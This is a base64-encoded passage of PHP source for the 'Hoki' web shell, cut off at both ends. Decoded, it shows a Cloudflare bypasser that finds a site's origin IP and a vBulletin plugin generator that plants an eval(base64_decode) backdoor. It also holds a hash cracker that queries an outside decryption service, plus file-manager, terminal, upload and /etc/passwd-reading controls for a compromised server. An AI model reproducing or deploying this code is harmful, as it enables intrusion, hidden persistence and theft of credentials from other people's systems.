xDeGRjZDFSOTROMkhHZkd1YmtPMUl4azFZMDd0NCt2VmNiSk9kMWpKN3JWUlhNYVIxV1NvS0pkUjB1dDdWNjFNUm1ZWnB6MWdpVlZpTzdLZEgycXo0blNZTUpRa1dpR1AzamVGbzl4Q0NvcjIvQTNJSEVtZEVSZzFZOTZWNzlRbERIMm5Oc0pjSml1UXdqSU95TGFOOW1LWjU1Rkk5dnJERkVNMDVrWmduc1dTUy9UZ2psdjlFWWc0RTJmWUFWQVdOR1huQmJkUm9aK3daZWpIaUVueFpYRVkrcWtVQnRZZ3oxL0c4ZUVoQ1MvaERsZkNwZS9ZYUVzYkZ6cHJGQXZiUG9kKzJXRGFaaFNRL1FPQ21jV2N4Y2lqcWNBZUZjczl5NzVTTFNCeHFiUlVvMEl5QytKVlpFYUtKaDRKeDJMSmxMUWFBQk9wYkFuZ0pzNjh3d0hUd2tJRUJKRmIyS1lhSTZ0NkE3cno2NHRYcjkvKzdqVmlGSXJXUjdsUWRtdXh0RWZicVVidHRGT0pWWC9mMHU1eG1XSy9lMlNtYitycUFoNDcwSFVUMkpKclRjaG1qTFhPQktKV0V3VE9XV0lXQVRsdzNSL1FHVklsRkd1S2xyRENWSTIzWVRHUDRyTk15VklrZzBhVzJqemV6WjU3LzMxUU5jVWJFdDlzZFkzRTh3MkgxUVd3aFVYSzBGaTZUWFVlam40VWMxMTQzVzhFVURuazFDd2tKb0tud3Vxc3kzbk9qRDB0MkxHdWo0YXRMQk5GYWNDc0NrelYwQXNNcnd0MDFFalJCSk93Z2UvRzE3RHR6WEJTQ2dSMExJRmJQdDhvL1dhQ0oxU1gzSFF5dTNsZ0xMRkkwYWh6Z3VrdjFFMk9LaVNOVmZ3WlFaVTh0NC9QU1hQOVhOQVk0andKZHJHYzFUM2tySEh3YXFsOEFYNXIxMjl6S2w1aWozVHFwS0NxYXJJYVVTQmxuT29IejJWMVJUN1NydC9KcGZYZFg5bTBSbnk2V2Y5aDlMeEtGSHJZamt3WmNleEdNUzhUMmg5MUt2eVFkUXVwNy9EdTBnTGY2OXdqdDlLd0NueVNhN2ZsTlVYMEJ4TFl0clRTTDdYMG9KRWsyRVZOckpqMXl1b25hTmYrVDNaOUkvV3RmVHJtdjlXdUhYdWwyb3ZLL3R6Nkh3PT0nOwpAX193cml0ZV9maWxlKCdob2tpX3NzaS5zaHRtbCcsX19nZXRfcmVzb3VyY2UoJGNvZGUpKTsKQGNobW9kKCJob2tpX3NzaS5zaHRtbCIsMDc1NSk7CmVjaG8gSG9raWlGcmFtZUNyZWF0b3IoJ2hva2lfc2h0bWwvaG9raV9zc2kuc2h0bWwnKTsKZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2ljbG91ZGZsYXJlKCl7Cmhva2loZWFkKCk7Ckhva2lOdW0oOCw5LDEwLDcsNiw1LDQsMyk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IENsb3VkIEZsYXJlIEJ5UGFzc2VyIHw8L2Rpdj48YnI+PGZvcm0gYWN0aW9uPScnIG9uc3VibWl0PVwiZygnY2xvdWRmbGFyZScsbnVsbCx0aGlzLnVybC52YWx1ZSwnPj4nKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD0ncG9zdCc+CjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlRhcmdldDo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHNpemU9MzAgbmFtZT0ndXJsJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBwbGFjZWhvbGRlcj1cInRhcmdldC5jb21cIj4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZ28nIHZhbHVlPScgJyAvPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsKaWYoJF9QT1NUWydob2tpMiddICYmICRfUE9TVFsnaG9raTInXSA9PSAnPj4nKXsKJHVybCA9ICRfUE9TVFsnaG9raTEnXTsKaWYoIXByZWdfbWF0Y2goJy9eKGh0dHBzPyk6XC9cLyh3ezN9fHczKVwuL2knLCAkdXJsKSl7CiR1cmwgPSBwcmVnX3JlcGxhY2UoJy9eKGh0dHBzPyk6XC9cLy8nLCAnJywgJHVybCk7CiR1cmwgPSAiaHR0cDovL3d3dy4iLiR1cmw7Cn0KJGhlYWRlcnMgPSBAZ2V0X2hlYWRlcnMoJHVybCwgMSk7CiRzZXJ2ZXIgPSAkaGVhZGVyc1snU2VydmVyJ107CiRzdWJzID0gYXJyYXkoJ293YS4nLCcydHR5LicsJ20uJywnZ3cuJywnbXgxLicsJ3N0b3JlLicsJzEnLCcyJywndmIuJywnbmV3cy4nLCdkb3dubG9hZC4nLCd2aWRlbycsJ2NwYW5lbC4nLCAnZnRwLicsICdzZXJ2ZXIxLicsICdjZG4uJywgJ2NkbjIuJywgJ25zLicsICduczMuJywgJ21haWwuJywgJ3dlYm1haWwuJywgJ2RpcmVjdC4nLCAnZGlyZWN0LWNvbm5lY3QuJywgJ3JlY29yZC4nLCAnc3NsLicsICdkbnMuJywgJ2hlbHAuJywgJ2Jsb2cuJywgJ2lyYy4nLCAnZm9ydW0uJywgJ2RsLicsICdteS4nLCAnY3AuJywgJ3BvcnRhbC4nLCAna2IuJywgJ3N1cHBvcnQuJywnc2VhcmNoLicsICdkb2NzLicsICdmaWxlcy4nLCAnYWNjb3VudHMuJywgJ3NlY3VyZS4nLCAncmVnaXN0ZXIuJywgJ2FwcHMuJywgJ2JldGEuJywgJ2RlbW8uJywgJ3NtdHAuJywgJ25zMi4nLCAnbnMxLicsICdzZXJ2ZXIuJywgJ3Nob3AuJywgJ2hvc3QuJywgJ3dlYi4nLCAnY2xvdWQuJywgJ2FwaS4nLCAnZXhjaGFuZ2UuJywgJ2FwcC4nLCAndnBzLicsICdvd2EuJywgJ3NhdC4nLCAnYmJzLicsICdtb3ZpZS4nLCAnbXVzaWMuJywgJ2FydC4nLCAnZnVzaW9uLicsICdtYXBzLicsICdmb3J1bXMuJywgJ2FjYy4nLCAnY2MuJywgJ2Rldi4nLCAnd3c0Mi4nLCAnd2lraS4nLCAnY2xpZW50cy4nLCAnY2xpZW50LicsJ2Jvb2tzLicsJ2Fuc3dlcnMuJywnc2VydmljZS4nLCdncm91cHMuJywnaW1hZ2VzLicsJ3VwbG9hZC4nLCd1cC4nLCd0dWJlLicsJ3VzZXJzLicsJ2FkbWluLicsJ2FkbWluaXN0cmF0b3IuJywncHJpdmF0ZS4nLCdkZXNpZ24uJywnd2htY3MuJywnd3AuJywnd29yZHByZXNzLicsJ2pvb21sYS4nLCd2YnVsbGV0aW4uJywndGVzdC4nLCdkZXZlbG9wZXIuJywncGFuZWwuJywnY29udGFjdC4nKTsKaWYocHJlZ19tYXRjaCgnL14oaHR0cHM/KTpcL1wvKHd7M318dzMpXC4vaScsICR1cmwsICRtYXRjaGVzKSl7CmlmKCRtYXRjaGVzWzJdICE9ICd3d3cnKXskdXJsID0gcHJlZ19yZXBsYWNlKCcvXihodHRwcz8pOlwvXC8vJywgJycsICR1cmwpO31lbHNlewokdXJsID0gZXhwbG9kZSgkbWF0Y2hlc1swXSwgJHVybCk7CiR1cmwgPSAkdXJsWzFdO319CmlmKGlzX2FycmF5KCRzZXJ2ZXIpKSRzZXJ2ZXIgPSAkc2VydmVyWzBdOwplY2hvIF9fcHJlKCk7CmlmKHByZWdfbWF0Y2goJy9jbG91ZGZsYXJlL2knLCAkc2VydmVyKSkKZWNobyAiXG5bK10gQ2xvdWRGbGFyZSBkZXRlY3RlZDogeyRzZXJ2ZXJ9XG48YnI+IjsKZWxzZQplY2hvICJcblsrXSBDbG91ZEZsYXJlIHdhc24ndCBkZXRlY3RlZCwgcHJvY2VlZGluZyBhbnl3YXkuXG4iOwplY2hvICdbK10gQ2xvdWRGbGFyZSBJUDogJyAuIGlzX2lwdjQoZ2V0aG9zdGJ5bmFtZSgkdXJsKSkgLiAiXG5cbjxicj48YnI+IjsKZWNobyAiWytdIFNlYXJjaGluZyBmb3IgbW9yZSBJUCBhZGRyZXNzZXMuXG5cbjxicj48YnI+IjsKZm9yKCR4PTA7JHg8Y291bnQoJHN1YnMpOyR4Kyspewokc2l0ZSA9ICRzdWJzWyR4XSAuICR1cmw7CiRpcCA9IGlzX2lwdjQoZ2V0aG9zdGJ5bmFtZSgkc2l0ZSkpOwppZigkaXAgPT0gJyhOdWxsKScpCmNvbnRpbnVlOwplY2hvICJUcnlpbmcgeyRzaXRlfTogeyRpcH1cbjxicj4iOwp9CmVjaG8gIlxuWytdIEZpbmlzaGVkLlxuPGJyPiI7Cn0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGlzX2lwdjQoJGlwKXsKcmV0dXJuIGZpbHRlcl92YXIoJGlwLCBGSUxURVJfVkFMSURBVEVfSVAsIEZJTFRFUl9GTEFHX0lQVjQpID8gJGlwIDogJyhOdWxsKSc7Cn0KZnVuY3Rpb24gX19hbGVydCgkcyl7CmVjaG8gJzxjZW50ZXI+Jy5fX3ByZSgpLiRzLic8L2NlbnRlcj4nOwp9CmZ1bmN0aW9uIGNyZWF0ZV90YWJsZSgkZGF0YSl7CmVjaG8gJzx0YWJsZSBib3JkZXI9IjEiPic7CmZvcmVhY2ggKCRkYXRhIGFzICRrZXkgPT4gJHZhbCl7CiRhcnJheSA9IGFycmF5KCk7CmZvcmVhY2goJHZhbCBhcyAkayA9PiAkdil7CiRhcnJheVska10gPSAkdjsKfQplY2hvICI8dHI+PHRkPjxkaXYgY2xhc3M9J3RibHR4dCc+Ii4kYXJyYXlbJ3RkTmFtZSddLiI8L2Rpdj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9JyIuJGFycmF5WydpZCddLiInIG5hbWU9JyIuJGFycmF5WydpbnB1dE5hbWUnXS4iJyAiLigkYXJyYXlbJ3BsYWNlaG9sZGVyJ10/J3BsYWNlaG9sZGVyJzondmFsdWUnKS4iPSciLiRhcnJheVsnaW5wdXRWYWx1ZSddLiInIHNpemU9JyIuJGFycmF5WydpbnB1dFNpemUnXS4iJyAiLigkYXJyYXlbJ2Rpc2FibGVkJ10/J2Rpc2FibGVkJzonJykuIj48L3RkPjwvdHI+IjsKfQplY2hvICc8L3RhYmxlPic7Cn0KZnVuY3Rpb24gaG9raXBocDJ4bWwoKXsKaG9raWhlYWQoKTsKSG9raU51bSg4LDksMTAsNyw2LDUsNCwzKTsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBTaGVsbCBGb3IgdkJ1bGxldGluIHw8L2Rpdj48L3A+PGZvcm0gb25zdWJtaXQ9XCJnKCdwaHAyeG1sJyxudWxsLHRoaXMuY29kZS52YWx1ZSwnPj4nKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD0ncG9zdCc+CjxwPjxicj48dGV4dGFyZWEgcm93cz0nMTInIGNvbHM9JzcwJyB0eXBlPSd0ZXh0JyBuYW1lPSdjb2RlJyBwbGFjZWhvbGRlcj1cImluc2VydCB5b3VyIHNoZWxsIGNvZGVcIj48L3RleHRhcmVhPjxici8+PGJyLz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZ28nIHZhbHVlPScgJyAvPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsKaWYoJF9QT1NUWydob2tpMiddJiYkX1BPU1RbJ2hva2kyJ109PSc+PicpewplY2hvIF9fcHJlKCkuIjxwPjxjZW50ZXI+PHRleHRhcmVhIHJvd3M9JzEwJyBuYW1lPSd1c2VycycgY29scz0nODAnPiI7CmVjaG8gJzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz48cGx1Z2lucz48cGx1Z2luIGFjdGl2ZT0iMSIgcHJvZHVjdD0idmJ1bGxldGluIj48dGl0bGU+dkJ1bGxldGluPC90aXRsZT48aG9va25hbWU+aW5pdF9zdGFydHVwPC9ob29rbmFtZT48cGhwY29kZT48IVtDREFUQVtpZiAoc3RycG9zKCRfU0VSVkVSW1wnUEhQX1NFTEZcJ10sInN1YnNjcmlwdGlvbnMucGhwIikpe2V2YWwoYmFzZTY0X2RlY29kZShcJycuX19aVzVqYjJSbGNnKCRfUE9TVFsnaG9raTEnXSkuJ1wnKSk7ZXhpdDt9XV0+PC9waHBjb2RlPjwvcGx1Z2luPjwvcGx1Z2lucz4nOwplY2hvICc8L3RleHRhcmVhPjwvY2VudGVyPjwvcD4nOwp9CmVjaG8gJzwvY2VudGVyPjwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpY3BjcmFjaygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhhc2ggVG9vbHMgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnZGVjXCcpIj58IERlQ3J5cHRlciB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnKSI+fCBIYXNoIEFuYWx5emVyIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWydob2tpMSddPT0nZGVjJyl7CiRhbGdvcml0aG1zID0gYXJyYXkoJ21kNSc9PidNRDUnLCdtZDQnPT4nTUQ0Jywnc2hhMSc9PidTSEExJywnc2hhMjU2Jz0+J1NIQTI1NicsJ3NoYTM4NCc9PidTSEEzODQnLCdzaGE1MTInPT4nU0hBNTEyJywnbnRsbSc9PidOVExNJyk7CmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRGVDcnlwdGVyIHw8L2Rpdj48YnI+PGJyPgo8Zm9ybSBvbnN1Ym1pdD0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnZGVjXCcsdGhpcy5tZDUudmFsdWUsXCc+PlwnLHRoaXMuYWxnLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+RGVjcnlwdCBNZXRob2Q6PC9kaXY+IDxzZWxlY3QgbmFtZT0iYWxnIiBzdHlsZT0id2lkdGg6MTAwcHg7Ij4nOwpmb3JlYWNoKCRhbGdvcml0aG1zIGFzICRrZXk9PiR2YWwpe2VjaG8oJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPicpO30KZWNobyc8L3NlbGVjdD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ikhhc2giIG5hbWU9Im1kNSIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZigkX1BPU1RbJ2hva2kzJ10gPT0gJz4+Jyl7CiRoYXNoID0gJF9QT1NUWydob2tpMiddOwppZighZW1wdHkoJGhhc2gpKXsKJGhhc2hfdHlwZSA9ICRfUE9TVFsnaG9raTQnXTsKJGVtYWlsID0gImtpc2VyeW91bmlAZ21haWwuY29tIjsKJGNvZGUgPSAiN2I5ZmE3OWY5MmMzY2Q5NiI7CiR0YXJnZXQgPSAiaHR0cHM6Ly9tZDVkZWNyeXB0Lm5ldC9BcGkvYXBpLnBocD9oYXNoPSIuJGhhc2guIiZoYXNoX3R5cGU9Ii4kaGFzaF90eXBlLiImZW1haWw9Ii4kZW1haWwuIiZjb2RlPSIuJGNvZGU7CiRyZXNwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0YXJnZXQpOwppZigkcmVzcD09JycpewokZ2V0ID0gbmV3IEhva2lDVVJMKCk7CiRyZXNwID0gJGdldC0+U2VuZCgkdGFyZ2V0KTsKfQplY2hvIF9fcHJlKCkuJzxjZW50ZXI+JzsKc3dpdGNoKCRyZXNwKXsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDAxJyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+WW91IGV4Y2VlZGVkIHRoZSA0MDAgYWxsb3dlZCByZXF1ZXN0IHBlciBkYXk8L2ZvbnQ+PC9iPiI7YnJlYWs7CgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwMycpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPllvdXIgcmVxdWVzdCBpbmNsdWRlcyBtb3JlIHRoYW4gNDAwIGhhc2hlcy48L2ZvbnQ+PC9iPiI7YnJlYWs7CgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwNCcpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPlRoZSB0eXBlIG9mIGhhc2ggeW91IHByb3ZpZGUgaW4gdGhlIGFyZ3VtZW50IGhhc2hfdHlwZSBkb2Vzbid0IHNlZW0gdG8gYmUgdmFsaWQ8L2ZvbnQ+PC9iPiI7YnJlYWs7CgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwNScpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPlRoZSBoYXNoIHlvdSBwcm92aWRlIGRvZXNuJ3Qgc2VlbSB0byBtYXRjaCB3aXRoIHRoZSB0eXBlIG9mIGhhc2ggeW91IHNldC48L2ZvbnQ+PC9iPiI7YnJlYWs7Cn0KaWYoc3Vic3RyKCRyZXNwLDAsNCkhPSdDT0RFJyYmJHJlc3AhPScnKXsKZWNobyAiPGI+UmVzdWx0OiA8Zm9udCBjb2xvcj0nZ3JlZW4nPiIuJHJlc3AuIjwvZm9udD48L2I+IjsKfWVsc2VpZihzdWJzdHIoJHJlc3AsMCw0KSE9J0NPREUnKXsKZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+Tm9UIEZvdW5kPC9mb250PjxiciAvPiI7Cn0KZWNobygnPC9jZW50ZXI+Jyk7Cn0KfQp9CmlmKCRfUE9TVFsnaG9raTEnXT09J2FuYWx5emVyJyl7CmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSGFzaCBBbmFseXplciB8PC9kaXY+PC9wPgo8Zm9ybSBvbnN1Ym1pdD0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnYW5hbHl6ZXJcJyx0aGlzLmhhc2gudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7Ij4KPGRpdiBjbGFzcz0idHh0Zm9udCI+SGFzaDogPC9kaXY+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iSGFzaCIgbmFtZT0iaGFzaCIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZigkX1BPU1RbJ2hva2kzJ10gPT0gJz4+Jyl7CiRoYXNoID0gJF9QT1NUWydob2tpMiddOwppZighZW1wdHkoJGhhc2gpKXsKJGN1cmwgPSBuZXcgSG9raUNVUkwoKTsKJHJlc3AgPSAkY3VybC0+U2VuZCgiaHR0cHM6Ly9tZDVkZWNyeXB0Lm5ldC9lbi9IYXNoRmluZGVyLyIsInBvc3QiLCJoYXNoPXskaGFzaH0mY3J5cHQ9U2VhcmNoIik7CmVjaG8oX19wcmUoKS4nPGNlbnRlcj4nKTsKaWYocHJlZ19tYXRjaCgnIzxmaWVsZHNldCBjbGFzcz0idHJvdXZlIj4oLio/KTwvZmllbGRzZXQ+IycsJHJlc3AsJHMpKXsKCWVjaG8oJzxmb250IGNvbG9yPSJncmVlbiI+Jy4kc1sxXS4nPC9mb250PicpOwp9ZWxzZXsKCWVjaG8oJzxmb250IGNvbG9yPSJyZWQiPk5vdCBGb3VuZC4uLiE8L2ZvbnQ+Jyk7Cn0KZWNobygnPC9jZW50ZXI+PGJyPicpOwp9Cn0KfQplY2hvICc8L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWZvb3RlcigpewppZighaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZWNobyAiPHRhYmxlIGNsYXNzPSdmb290JyB3aWR0aD0nMTAwJScgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMycgY2VsbHBhZGRpbmc9JzAnID4KPHRyPgo8dGQgd2lkdGg9JzE3JSc+PGZvcm0gb25zdWJtaXQ9XCJpZih0aGlzLmYudmFsdWUudHJpbSgpLmxlbmd0aD09MClyZXR1cm4gZmFsc2U7ZWRpdG9yKHRoaXMuZi52YWx1ZSwnbWtmaWxlJywnJywnJywnJywnZmlsZScpO3RoaXMuZi52YWx1ZT0nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5NYWtlIEZpbGUgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdmJyB2YWx1ZT0nJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPgo8dGQgd2lkdGg9JzIxJSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7dGhpcy5kLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPk1ha2UgRGlyIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT0ndGV4dCcgbmFtZT0nZCcgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0nMjIlJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdkZWxldGUnLHRoaXMuZGVsLnZhbHVlKTt0aGlzLmRlbC52YWx1ZT0nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5EZWxldGUgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdkZWwnIHZhbHVlPScgJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPgo8dGQgd2lkdGg9JzE5JSc+PGZvcm0gb25zdWJtaXQ9XCJpZih0aGlzLmYudmFsdWUudHJpbSgpLmxlbmd0aD09MClyZXR1cm4gZmFsc2U7ZWRpdG9yKHRoaXMuZi52YWx1ZSwnY2htb2QnLCcnLCcnLCcnLCdub25lJyk7dGhpcy5mLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkNobW9kIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT10ZXh0IG5hbWU9ZiB2YWx1ZT0nICc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0nMic+PGZvcm0gb25zdWJtaXQ9J2coXCJGaWxlc01hblwiLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkNoYW5nZSBEaXIgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyBpZD0nZm9vdGVyX2N3ZCcgdHlwZT0ndGV4dCcgbmFtZT0nYycgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiInPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD1cImVkaXRvcih0aGlzLmZpbGUudmFsdWUsJ3ZpZXcnLCcnLCcnLCcnLCdmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+UmVhZCBGaWxlIDogPC9zcGFuPjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHZhbHVlPScvZXRjL3Bhc3N3ZCc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0nNCc+PGZvcm0gc3R5bGU9J21hcmdpbi10b3A6IDEwcHg7JyBvbnN1Ym1pdD1cInJldHVybiBmYWxzZTtcIiBhdXRvY29tcGxldGU9J29mZic+PHNwYW4+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5FeGVjdXRlIDo8L3NwYW4+PGJyPjxidXR0b24gb25DbGljaz0naG9raU9wZW5QaHBUZXJtaW5hbCgpO3JldHVybiBmYWxzZTsnIGNsYXNzPSdmb290dGFibGUgaG9raV9jdXN0b21fY21kX2J0bic+PGltZyBzdHlsZT0nd2lkdGg6MTVweDt2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOycgc3JjPSdodHRwczovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3Rlcm1pbmFsLnN2Zyc+IFRlcm1pbmFsPC9idXR0b24+PGJyPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBvbnN1Ym1pdD0ndSh0aGlzKTtyZXR1cm4gZmFsc2U7JyBuYW1lPSdmb290ZXJfZm9ybScgbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J0ZpbGVzTUFuJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYycgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhamF4JyB2YWx1ZT0ndHJ1ZSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2hva2kxJyB2YWx1ZT0ndXBsb2FkRmlsZSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2NoYXJzZXQnIHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz4KPHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5VcGxvYWQgZmlsZTogPC9zcGFuPjxzcGFuPjxidXR0b24gaWQ9J2FkZHVwJyBvbmNsaWNrPSdhZGRuZXd1cCgpO3JldHVybiBmYWxzZTsnPjxiPis8L2I+PC9idXR0b24+PC9zcGFuPjxwIGlkPSdwZm9vdGVydXAnPjxsYWJlbCBjbGFzcz0naW5wdXRmaWxlJyBmb3I9J2Zvb3RlcnVwJz48c3BhbiBpZD0nX19mbmFtZXVwJz48L3NwYW4+IDxzdHJvbmc+Jm5ic3A7Jm5ic3A7Q2hvb3NlIGEgZmlsZTwvc3Ryb25nPjwvbGFiZWw+PGlucHV0IGlkPSdmb290ZXJ1cCcgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPSdmaWxlJyBuYW1lPSdmW10nIG9uQ2hhbmdlPSdoYW5kbGV1cCh0aGlzLDApOycgbXVsdGlwbGU+PC9wPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48ZGl2IGlkPSdob2tpLWNvcHlyaWdodCc+PHNwYW4gY2xhc3M9J2NvcHlyaWdodCc+WyAuL0hva2lUZWFtICZjb3B5OyAyMDEyLSIuZGF0ZSgnWScpLiIgXTwvc3Bhbj48YnI+PHNwYW4+PGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxlcnQoXCJCVEM6IGJjMXF3eWoycHVzczdwOWRjOWdwNXI5dDhldnBxdDR0eXh1cGF6YXlydlwiKTsnIHN0eWxlPSdjb2xvcjogI0U5MUU2Mzt0ZXh0LWRlY29yYXRpb246IG5vbmU7Jz5Eb25hdGUgVXMgITwvYT48L3NwYW4+IDxzcGFuIHN0eWxlPSdsZXR0ZXItc3BhY2luZzogMnB4O2NvbG9yOiAjZGZmZjAwOyc+a2lzZXJ5b3VuaVthdF1nbWFpbC5jb208L3NwYW4+IDxzcGFuPjxhIHN0eWxlPSdjb2xvcjogI2ZmNjA2MDt0ZXh0LWRlY29yYXRpb246IG5vbmU7JyB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cHM6Ly90ZWxlZ3JhbS5tZS9raXNlcnlvdW5pJz5Aa2lzZXJ5b3VuaTwvYT48L3NwYW4+PC9kaXY+PC90ZD4KPC90cj4KPC90YWJsZT4KPC9kaXY+Cgo8ZGl2IGlkPSdvcHRpb25zX3dpbmRvdycgc3R5bGU9J2J